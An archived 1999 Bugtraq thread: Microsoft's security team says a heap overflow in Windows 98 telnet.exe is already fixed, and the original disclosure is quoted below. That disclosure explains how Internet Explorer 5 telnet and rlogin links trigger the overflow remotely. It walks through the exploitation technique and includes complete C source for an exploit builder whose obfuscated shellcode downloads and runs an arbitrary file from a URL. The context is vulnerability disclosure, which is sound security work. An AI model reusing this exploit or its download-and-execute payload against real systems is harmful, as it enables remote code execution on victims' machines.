Re: telnet.exe heap overflow - remotely exploitable

From: Microsoft Product Security Response Team (secureat_private)
Date: Tue Aug 17 1999 - 18:02:34 PDT

  • Next message: Olaf Kirch: "Re: [RHSA-1999:028-01] Buffer overflow in libtermcap tgetent()"

    Hi All -
    
    We've had an opportunity to investigate this issue, and want to advise that
    a fix already is available.  The vulnerability is fixed in IE 5.0b, which
    ships as part of Windows 98 Second Edition.  It also is eliminated by the
    patch for the "Malformed Favorites Icon" vulnerability
    (http://www.microsoft.com/security/bulletins/ms99-018.asp), which was
    released in May.   The reason that the security bulletin did not discuss
    this fix is because we discovered the unchecked buffer during a routine code
    review, and corrected it as a code quality issue.
    
    The vulnerability is present in IE 4.0 as well, and we are developing a
    patch that we'll release shortly.  When the IE 4.0 patch is available, we'll
    release a security bulletin that discusses the issue and where to get the
    patch.  Regards,
    
    Secureat_private
    
    -----Original Message-----
    From: Jeremy Kothe [mailto:paceflowat_private]
    Sent: Sunday, August 15, 1999 3:02 PM
    To: BUGTRAQat_private
    Subject: telnet.exe heap overflow - remotely exploitable
    
    
    Heap Overflow in windows 98 Telnet.exe - remote via IE5
    ------------------------------------------------------------
    Jeremy Kothe (jeremyat_private or paceflowat_private)
    
    More fun and games courtesy of Microsoft (c:)...
    
    Telnet.exe - (77824 bytes, 11th May 98)
    ---------------------------------------
    This version of Telnet (which ships as part of Windows 98)
    has a bug which allows a heap overrun. It assumes
    that the first command-line argument will be <255 chars
    when preparing for the "Connect Failed" message-box. The
    result is that a few crucial bytes can be written over,
    which, as the telnet app is closing, allow full execution
    of arbitrary code. See below for full details...
    
    This is still all local, though, so let's skip to the
    REMOTE part.
    
    IE 5.00.2314.1003/5.00.2314.1003IC
    ----------------------------------
    Internet Explorer automatically invokes telnet when given
    an "rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier
    versions of IE which I experimented with had comparitively
    tight restrictions on the format of the url, only allowing
    two parameters through (two zeros to you and me ;) As it
    turns out, this is not enough (for me) to exploit the bug.
    But with the versions named above, which as of writing
    include the latest version Microsoft would let me
    download, the restrictions seem to have been lifted. I can
    only assume that this is either unintentional, or that
    tn3270 or telnet applications have been found which makes
    this desirable... Whatever! The end result is that it
    seems the most recent versions of IE 5 will faithfully
    pass any collection of parameters up to about 460 chars
    into telnet.exe.
    
    Systems at risk
    ---------------
    Windows 98 default installation with SOME versions of IE5.
    If you click on a link, or are refreshed to a link, then
    see telnet.exe pop-up, complaining that it can't connect
    to a garbage-type address, DO NOT close the telnet
    executable. Instead, either forcefully terminate the
    process, or reboot. The exploit does NOT take effect until
    telnet.exe is closing.
    
    Solution
    --------
    Either remove telnet.exe from the path, so IE cannot launch
    it, or get a copy of the WinNT telnet.exe.
    
    Exploit - introduction
    ----------------------
    Heap overruns are not for the faint of heart. If you have
    trouble following stack overrun exploits, turn back now -
    or go and learn, then come back.
    
    With a stack overflow, getting the machine to execute into
    our buffer is relatively easy. We have, after all,
    overwritten the function return address. Point this
    (indirectly or not) at the esp and you're in business.
    Without this benefit, we have a much tougher time
    exploiting the overrun. In fact it is entirely possible
    that no exploit is possible.
    
    It all depends on what follows our buffer in memory.
    
    The best candidates for overwriting are pointers. If we can
    overwrite one which the program subsequently uses, we have
    a chance to make something happen.
    
    The trick is to ignore what the program is trying to do,
    and to look at what it's doing.
    
    One core idea I've found to be of value is this: One way to
    get execution onto the stack is to find a way to manipulate
    our uncorrupted stack. Often you will find a pointer to the
    stack (or command-line) somewhere not far from the top (of
    the stack). If it can be moved only a few bytes, or we can
    conspire to pop more than we push, we can then return to
    our buffer.
    
    Exploit - Intermediate - (Tools: SoftICE/IDA/PSEDIT)
    ----------------------------------------------------
    The overrun we are presented with is only a handfull of
    bytes, just enough to overwrite one pointer value following
    the buffer in memory. This pointer, as it turns out,
    originally points to an array of 1024 pointers, which are
    either NULL, or point in turn to a 16-byte structure. From
    context this seems to be a file-handle table of sorts.
    
    When I examined the routine (fflush) where we end up
    referencing the pointer, it turns out that the code
    iterates thru the 1024 pointers, and for each non-NULL
    entry, it examines and conditionally changes the 16 byte
    structure pointed to. It is the change we are interested
    in.
    
    If the structure is represented as:
      DWORD dw1, dw2, dw3
    
    then the effect of the change is:
      dw1 = dw3
      dw2 = 0
    
    Whilst examining various locations in memory where out
    exploit string ends up (there are a couple, as the
    command-line get passed, then parsed), I found one where
    the following 4k was allocated and 99% zeros.
    
    I also found at the top of the stack, about 12 bytes back,
    a pointer to our exploit string (WinMain lpCmdLine anyone),
    which was ripe to be copied down 8-bytes to overwrite a
    return address.
    
    Now ideally, if the memory I found was all blank, all I'd
    need to do would be to arrange for the trailing bytes of my
    exploit string to point to the appropriate place on the
    stack. This last DWORD, followed by 1024 DWORD zeros, would
    serve as a faux handle table which would overwrite a return
    address with a pointer to our exploit.
    
    Are you with me... If not, go back now.
    
    In the actual case I found there were indeed 1024 zeros,
    but there was also one non-zero DWORD directly after my
    exploit and before the zeros. I needed to remove these
    values for the table to not crash... so I used the same
    technique over again to remove it - adding another entry at
    the top of our table pointing to the offending location
    neatly removes it, then the second entry does the actual
    work, and the rest of the table is empty.
    
    Done. Complete. Works.
    
    Exploit Attached
    ----------------
    I have worked out an exploit which downloads and runs an
    arbitrary file, and have included the source for a Visual
    C++ program to create a binary file containing the exploit
    as a link. Add (for example) an html header and footer, and
    you have it.
    
    Notes: The exploit uses URLDownloadToCacheFile and WinExec.
    Disassembling the binary file will show you the code
    (strings have been xor'ed with 0xFADE).
    Any comments on the exploit code would be appreciated.
    
    ------------------------------------------------------------
    #include <stdio.h>
    #include <afx.h>
    #include <windows.h>
    
    
    void Usage( void ) {
      printf( "Usage: exfact url(40) outfile\n" );
    }
    
    #define URL_OFFSET 48
    
    unsigned char aSploit[] = {
      0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
      0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
      0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
      0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
      0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
      0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
      0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
      0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
      0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
      0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
      0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
      0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
      0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
      0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
      0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
      0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
      0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35,
      0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02,
      0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
      0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
      0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
      0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
      0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
      0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
      0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
      0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
      0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
      0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
      0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
      0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
      0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
      0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,
    };
    
    
    int main( int argc, char *argv[] ) {
    
      if( argc == 3 ) {
        DWORD dwURLlen = strlen( argv[ 1 ] )+1;
        if( dwURLlen < 40 ) {
          HANDLE h = CreateFile(
            argv[ 2 ],
            GENERIC_WRITE,
            0,
            NULL,
            CREATE_ALWAYS,
            0,
            0 );
    
          if ( h == INVALID_HANDLE_VALUE ) {
            printf( "Error creating %s\n", argv[ 2 ] );
            return( 0 );
          }
    
          DWORD dwWrit = 0;
          if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
           ( dwWrit != URL_OFFSET ) )
            goto writeerr;
    
          for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
            *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use
    htons?
          *PWORD( p ) ^= 0xdefa;
    
          if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
            ( dwWrit != dwURLlen ) )
            goto writeerr;
    
          DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
          if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
            &dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
            goto writeerr;
    
          CloseHandle( h );
    
          return( 0 );
        }
      }
    
      Usage();
      return( 1 );
    
    writeerr:
      printf( "Error writing to %s\n", argv[ 2 ] );
      return( 2 );
    }
    
    ------------------------------------------------------------
    
    P.S. Australian programmer with 19 years experience, C/++,
    Asm, Delphi, SQL, IP + more, looking for work overseas.
    
    Jeremy Kothe (jeremyat_private or paceflowat_private)
    
    P.P.S. When exposing these type of exploits, it is usual
    for the coder to launch into a tirade about Microsoft and
    what terrible software it writes to allow these... I feel
    that these people are missing the point, though. Microsoft
    has risen (very successfully) to the challenge of providing
    a couple of GENERAL PURPOSE, incredibly extensive operating
    systems for PC's. Anyone who prefers Linux for it's
    stability etc. should consider the cost (to the average
    end-user) of such stability. Microsoft have concentrated
    on the commercial requirements of the corporate Joe, and
    have written the software people (not jellyheads) need. Of
    course it would be wonderful if Windows was as solid as
    secure as a unix installation, but it is simply not the
    highest priority for the average PC user.
    
    
    
    ______________________________________________________
    Get Your Private, Free Email at http://www.hotmail.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:57:00 PDT